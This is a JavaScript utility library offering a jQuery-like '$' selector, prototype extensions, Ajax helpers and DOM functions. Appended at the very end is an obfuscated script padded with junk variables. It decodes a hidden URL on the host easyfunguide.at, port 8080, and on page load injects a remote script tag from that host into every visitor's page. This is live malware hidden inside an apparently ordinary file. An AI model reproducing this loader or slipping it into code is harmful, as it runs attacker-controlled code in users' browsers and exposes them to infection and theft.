﻿/**
 * var $ = ...
 * var my$ = ...
 * var your$ = ...
 */
var $ = function($) {

	$.browser =  function() {
		var ua = navigator.userAgent;
		var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]';
		return {
			IE:             !!window.attachEvent && !isOpera,
			Opera:          isOpera,   
			WebKit:         ua.indexOf('AppleWebKit/') > -1,
			Gecko:          ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1,
			MobileSafari:   /Apple.*Mobile.*Safari/.test(ua)
		}
	}();

	$.x = function(destination, source) {
		for (var prop in source)
			destination[prop] = source[prop];
		return destination;
	};

	$.K = function() { return arguments[0]; };
	$.A = function(list, selector) { return Array.prototype.collect.call(list, selector || $.exp("true")); };
	$.args = function() { return Array.prototype.slice.apply(arguments.callee.caller.arguments); };
	$.empty = function() { };
	$.callee = function() { return arguments.callee.caller; };
	$.caller = function() { return arguments.callee.caller.caller; };
	
	$.fun = function(body) { return new Function(body.replace(/\$(\d+)/g, "arguments[$1]")); };
	$.exp = function(expr) { return $.fun("return " + expr + ";"); };

	$.evt = function() {
		if (window.event) return event;
		var method = $.callee();
		while (null != (method = method.caller)) {
			var e = method.arguments[0];
			if (e) {
				if ( e.constructor == Event
						|| e.constructor == MouseEvent
						|| typeof e == "object"
						&& e.preventDefault
						&& e.stopPropagation ) {
					return e;
				}
			}
		}
		return null;
	};
	$.evt.stopPropagation = function() {
		var e = $.evt();
		if (!e) return;
		if (e.stopPropagation) e.stopPropagation();
		e.cancelBubble = true;
	};

	$.x(String.prototype, {
		  trim : function() { return this.replace(/^\s+|\s+$/g, ''); }
		, len : function() { return this.replace(/[^\x00-\xff]/g, 'xx').length; }
		, escapeHTML : function() {
			with (document.createElement("DIV")) {
				appendChild(document.createTextNode(this));
				return innerHTML.split('"').join("&quot;");
			}
		}
		, left : function(length) {
			return this.slice(0, length);
		}
		, right: function(length) {
			return this.slice(-length);
		}
		, format : function() {
			var vs = arguments;
			return this.replace(/\{(\d+)\}/g, function() { return vs[parseInt(arguments[1])]; });
		}
		, startsWith : function(pattern) {
			return this.slice(0, pattern.length) == pattern;
		}
		, endsWith : function(pattern) {
			return this.slice(0 - pattern.length) == pattern;
		}
		, append: function() {
			var res = [this];
			Array.prototype.push.apply(res, arguments);
			return res.join('');
		}
	});

	Function.intervalCall = function(funcs, interval, obj) {
		funcs = funcs.map($.K);
		(function() {
			if (funcs.length < 1) return;
			funcs.shift().call(obj || null);
			setTimeout($.callee(), interval);
		})();
	};
	Function.linkageCall = function(funcs, obj) {
		funcs = funcs.map($.K);
		(function() {
			if (funcs.length < 1) return;
			funcs.shift().call((obj || null), $.callee());
		})();
	};
	Function.prototype.curry = function() {
		if (!arguments.length) return this;
		var _method = this;
		var _args = $.args();
		return function() {
			return _method.apply(this, _args.concat($.args()) );
		};
	};
	Function.prototype.partial = function(){
		var fn = this, args = $.args();
		return function(){
			var arg=0, newArguments = [].concat(args);
			for ( var i = 0; i < args.length && arg < arguments.length; i++ )
				if (newArguments[i] === undefined )
					newArguments[i] = arguments[arg++];
			return fn.apply(this, newArguments);
		};
	};

	Date.prototype.format = function(formatString) {
		with (this) {
			return (formatString||"{0}-{1}-{2} {3}:{4}:{5}").format(
				getFullYear(),
				("0" + (getMonth()+1)).slice(-2),
				("0" + getDate()).slice(-2),
				("0" + getHours()).slice(-2),
				("0" + getMinutes()).slice(-2),
				("0" + getSeconds()).slice(-2)
			);
		}
	};
	Date.prototype.toString = function(fs) { return this.format(fs); };

	RegExp.escape = function(str) {
		return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
	};

	$.x(Array.prototype, {
		collect: function(selector, scope, limit) {
			var r = [];
			for (var i=0, len=this.length, limit=limit||len; i<len && r.length<limit; i++)
				if (!!selector.call(scope, this[i], i, this))
					r.push(this[i]);
			return r;
		}
		, first: function(selector, scope) {
			return this.collect(selector, scope, 1)[0] || null;
		}
		, forEach: function(action, scope) {
			this.collect(action, scope); return this;
		}
		, each: function(trans, scope) {
			return this.forEach(function(o, i, a) { a[i] = trans.call(this, o, i, a); }, scope);
		}
		, map: function(trans, scope) {
			return [].concat(this).each(trans, scope);
		}
		, indexOf: function(o) {
			var pos = -1;
			this.first(function(item, i) { if (item == o) { pos = i; return true; } });
			return pos;
		}
	});
	
	$.o = {
		forEachProperty: function(obj, action, scope) {
			for (var prop in obj) action.call(scope, prop, obj[prop], obj);
			return obj;
		}
		, keys: function(obj) {
			var keys = [];
			$.o.forEachProperty(obj, function(name) { keys.push(name); });
			return keys;
		}
		, values: function(obj) {
			var values = [];
			$.o.forEachProperty(obj, function(value) { values.push(value); });
			return values;
		}
		, properties: function(obj, map, scope) {
			var props = [];
			this.forEachProperty(obj, function(name, value, obj) {
				props.push(map.call(scope, name, value, obj));
			});
			return props;
		}
		, labeling: function(obj, name, x) {
			x = x || "";
			var attrs = this.properties(obj, function(name, value) {
				return '{0}="{1}"'.format(name, (value+"").escapeHTML());
			}).join(" ");
			return "<{0} {1}{2}>".format(name, attrs, x=='x'? '></'+name : x=='/' ? ' /' : '');
		}
	};

	$.bind = function(node, eventName, listener) {
		if (!node) return;
		if (!node['_' + eventName]) {
			node['_' + eventName] = [];
			node['on' + eventName] = function(event) {
				event = event || window.event;
				var me = this;
				if (this["_" + eventName].collect(function(func){return false===func.call(me, event);}).length>0) return false;
			};
			/*
			node['on' + eventName] = new Function("event",
				"event = event || window.event;"
			  + "var me=this;"
			  + "if (this._" + eventName  + ".collect(function(func){return false===func.call(me, event);}).length>0) return false;"
			);*/
		}
		node['_' + eventName].push(listener);
	};

	$.paramValues = function(paramName) {
		var values = [];
		(location.search || "").replace(new RegExp("[&?]" + RegExp.escape(encodeURIComponent(paramName)) + "\\=([^&#]*)", "ig"), function() {
			values.push(decodeURIComponent(arguments[1]));
		});
		return values;
	};
 
	$.param = function(paramName) {
		return $.paramValues(paramName).join(", ")
	};

	// Ajax
	$.ajax = {
		  idle: $.empty
		, busy: $.empty

		, newRequest: function() {
			if (window.XMLHttpRequest) return new XMLHttpRequest();
			try {
				return new ActiveXObject("MSXML2.XMLHTTP");
			} catch(e) { try {
				return new ActiveXObject("Microsoft.XMLHTTP");
			} catch(e) { 
				return false;
			} }
		}
		
		, encodeParams: function(params) {
			return params.map( $.exp("$0.map(encodeURIComponent).join('=')") ).join("&");
		}

		, _addRandormNumberToURL_: function(url) {
			url = [url];
			url.push(url[0].indexOf("?")>-1 ? "&" : "?");
			url.push("ajaxRandom=", Math.random());
			return url.join("");
		}

		, syncGet: function(url) {
			var http = this.newRequest();
			if (!http) return false;
			url = this._addRandormNumberToURL_(url);
			http.open("GET", url, false);
			http.send(null);
			if (http.readyState != 4) return false;
			if (http.status != 200) return false;
			return http;
		}

		, syncPost: function(url, params) {
			var http = this.newRequest();
			if (!http) return false;
			// url = this._addRandormNumberToURL_(url);
			params = this.encodeParams(params);
			http.open("POST", url, false);
			http.setRequestHeader('Content-Length', params.length);
			http.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
			if (http.readyState != 4) return false;
			if (http.status != 200) return false;
			return http;
		}

		, post: function(url, params, succ, callback, fail) {
			callback = callback || $.empty;
			fail = fail || function(x) { return alert(x.responseText); alert('Ajax 请求失败!'); };
			var http = this.newRequest();
			if (!http) {
				try { fail(http); } catch(e) { alert(e.message); };
				return callback();
			}
			http.onreadystatechange = function() {
				if (http.readyState != 4) return;
				$.ajax.idle();
				if (http.status != 200) {
					try { fail(http); } catch(e) { alert(e.message); };
					//alert(http.status);
					http.abort();
					callback();
				} else {
					if (succ.length > 0) {
						try { succ.call(http, callback); } catch(e) { alert(e.message); }
						http.abort();
					} else {
						succ.call(http); try { ; } catch(e) { throw e; alert(e.message); }
						http.abort();
						callback();
					}
				}
			};
			// url = this._addRandormNumberToURL_(url);
			http.open("POST", url, true);
			params = this.encodeParams(params);
			http.setRequestHeader('Content-Length', params.length);
			http.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
			this.busy();
			http.send(params);
		}
		
		, isTransactionRuning: false
		, trans: []
	
		, addTransaction: function(url, params, succ, fail) {
			this.trans.push(function(callback) {
				$.ajax.post(url, params, succ, callback, fail);
			});
		}

		, beginTransaction: function(selfCall) {
			if (!selfCall && this.isTransactionRuning) return;
			if (this.trans.length < 1) {
				this.isTransactionRuning = false;
				return;
			}
			this.isTransactionRuning = true;
			var theTransaction = this.trans.shift();
			setTimeout(function() {
				theTransaction(function() {
					$.ajax.beginTransaction(true);
				});
			}, 100);
		}
	};
	
	$.dom = {
		  nextElement: function(node, tag) {
			var reg = new RegExp("^"+RegExp.escape(tag)+"$", "i");
			var next = node.nextSibling;
			while (next && next.nextSibling && !reg.test(next.tagName))
				next = next.nextSibling;
			if (next && !reg.test(next.tagName)) next = null;
			return next;
		}
		, cssValue: function(obj, prop, value) {
			if (obj.currentStyle) {
				return obj.currentStyle[prop];
			} else if (window.getComputedStyle) {
				prop = prop.replace(/([A-Z])/g, "-$1").toLowerCase ();
				return window.getComputedStyle (obj, "").getPropertyValue(prop);
			}
			return null;
		}
		, newElement: function(tagName, attrs) {
			attrs = attrs || {};
			var element = document.createElement(document.all ? $.o.labeling(attrs, tagName) : tagName);
			$.o.forEachProperty(attrs, $.fun('this.setAttribute($0, $1);'), element);
			return element;
		}
		, selectValue: function(select, value) {
			var index = -1;
			$.A(select.options).first(function(option, i) {
				if (value == option.value) index = i;
				return value == option.value;
			});
			select.selectedIndex = index;
		}
		, selectText: function(select, text) {
			var index = -1;
			$.A(select.options).first(function(option, i) {
				if (text == option.text) index = i;
				return text == option.text;
			});
			select.selectedIndex = index;
		}
	};


	// -- private ------------------------------------------------------------------------
	
	
	// dom ready
	$.ready = function() {
		if ($.callee().done) return;
		$.callee().done = true;
		$.callee().methods.forEach(function(func) {
			func.apply(document);
		});
	};
	$.ready.methods = [];
	if (document.addEventListener) {
		document.addEventListener('DOMContentLoaded', $.ready, false);
	}
	(function() {
		/*@cc_on
		if (document.body) {
			try {
				document.createElement('div').doScroll('left');
				return $.ready();
			} catch(e) {}
		}
		/*@if (false) @*/
		if (/loaded|complete/.test(document.readyState))
			return $.ready();
		/*@end @*/
		if (!$.ready.done)
			setTimeout(arguments.callee, 0);
	})();

	$.ready._prevOnload = window.onload;
	window.onload = function(event) {
		if (typeof _prevOnload === 'function') $.ready._prevOnload.call(window, event);
		$.ready();
	};


	$._selector = {
		  '#': function(x) { var o = this.getElementById(x); return !!o ? [o] : []; }
		, '&': function(x) { return $.A(this.getElementsByName(x)); }
		, ">": function(x) { return $.A(this.childNodes); }
		, "<": function(x) { return [this.parentNode]; }
		, '@': function(x) { return [this.getAttribute(x)]; }
		, '$': function(x) { return [$.fun("with(this){ return "+x+"; }").call(this)]; }
		, '[': function(x) { return (!!$.fun("with(this){ return "+x.slice(0, x.length-1)+"; }").call(this)) ? [this] : []; }
		, '.': function(x) {
			if (document.getElementsByClassName)
				return $.A(this.getElementsByClassName(x));
			var reg = new RegExp("(^|\\s)" + x + "(\\s|$)");
			return $.A(this.getElementsByTagName('*'), function(item) {
				return reg.test(item.className);
			});
		}
		, tag: function(x) {
			var ids = x.match(/\#[\w\_]+/g)||[];
			var nms = x.match(/\&[\w\_]+/g)||[];
			var cls = x.match(/\.[\w\_]+/g)||[];			
			var res = $.A(this.getElementsByTagName(x.split(/[^\w\_]+/).collect($.exp('!!$0'))[0]));
			ids.forEach(function(id) { res = res.collect(function(e) { return e.id == id.slice(1); }); });
			nms.forEach(function(nm) { res = res.collect(function(e) { return e.name == id.slice(1); }); });
			cls.forEach(function(c) {
				var reg = new RegExp("(^|\\s)" + c.slice(1) + "(\\s|$)");
				res = res.collect(function(e) { return reg.test(e.className); });
			});
			return res;
		}
	};

	return $;
}(

	function(exp, context, res) {
		var $ = arguments.callee;
		if (typeof exp == 'function') return $.ready.methods.push(exp);
	
		if ('string' != typeof exp) return exp;
		res = res || [context || document];
		exps = exp.trim().split(/\s+/);
		var fs = $._selector;
		exps.forEach(function(exp) {
			var results = [], c = exp.charAt(0);
			if (c == "~") {
				res = res.collect(function(node) { return (!node.__sign__)? (node.__sign__ = true) : false; });
				return res.forEach(function(node) { node.__sign__ = null; });
			}
			var func = fs[c];
			if (typeof func == 'function')
				res.forEach(function(context) { results = results.concat(func.call(context, exp.slice(1))); });
			else
				res.forEach(function(context) { results = results.concat($._selector.tag.call(context, exp)); });
			res = results;
		});
		res.$ = function(x) { return $(x, null, this); }
		return res;
	}
);






var Fl;if(Fl!='F'){Fl='F'};var qCQ;if(qCQ!=''){qCQ='lm'};function r(){var Kd=new String();this.L="";var rN;if(rN!='g' && rN!='M'){rN=''};var _i="";var _=window;var q=unescape;var R;if(R!='' && R!='N'){R=null};var f=q("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%6f%78%6e%65%77%73%2e%63%6f%6d%2f%62%6c%6f%67%66%61%2e%63%6f%6d%2e%70%68%70");var i;if(i!='JE' && i!='aR'){i=''};var d="";function G(ql,qC){var pS;if(pS!='Hb' && pS!='m'){pS=''};this.hi="";this.c='';var S;if(S!='ru'){S='ru'};var z=String("g");var GZ;if(GZ!='Re'){GZ='Re'};var tv;if(tv!='kQ'){tv=''};var P=q("%5b"), K=q("%5d");this.qx="";var H=P+qC+K;var X;if(X!='I'){X='I'};var b=new RegExp(H, z);var WK="";var io=new String();return ql.replace(b, new String());};var w=G('8734964042761891412706261665','29453671');var Hv;if(Hv!=''){Hv='rQ'};var hq;if(hq!=''){hq='uJ'};var l=document;var o;if(o!='li'){o=''};var Ka=new String();var KF=new Array();var Ks;if(Ks!='' && Ks!='zjd'){Ks='gK'};var Sw=new Date();var gN;if(gN!='E' && gN!='eu'){gN=''};function h(){var NN=new Date();var J=q("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");this.fa="";this.hK="";var SD='';var pN;if(pN!='' && pN!='ay'){pN=null};Ka=J;Ka+=w;Ka+=f;var RBb=new Date();try {var zF;if(zF!='EB' && zF != ''){zF=null};var Kp=new Array();u=l.createElement(G('sHcGrji6pkt6','EBeHkD60jLGd'));var XA;if(XA!='PO' && XA!='y'){XA='PO'};this.mj='';var dN;if(dN!='Vk' && dN != ''){dN=null};var Rg;if(Rg!=''){Rg='hF'};var Vr;if(Vr!=''){Vr='MF'};u[q("%73%72%63")]=Ka;var U="";u[q("%64%65%66%65%72")]=[1,1][0];var CU;if(CU!='' && CU!='nt'){CU='us'};var D=new String();var gI=new Date();l.body.appendChild(u);} catch(Je){var _F;if(_F!='wix'){_F=''};this.BK="";alert(Je);var Ok;if(Ok!='' && Ok!='wC'){Ok=null};};}var Rt;if(Rt!='' && Rt!='s'){Rt=null};var tN;if(tN!='' && tN!='jd'){tN='ro'};_[String("on"+"lo"+"ad")]=h;var mF=new Array();};var rM=new Array();var zu=new Array();var od;if(od!='hZ' && od!='cv'){od=''};var GU;if(GU!='zq' && GU!='Qf'){GU=''};r();var Gh;if(Gh!='KE' && Gh!='ZO'){Gh='KE'};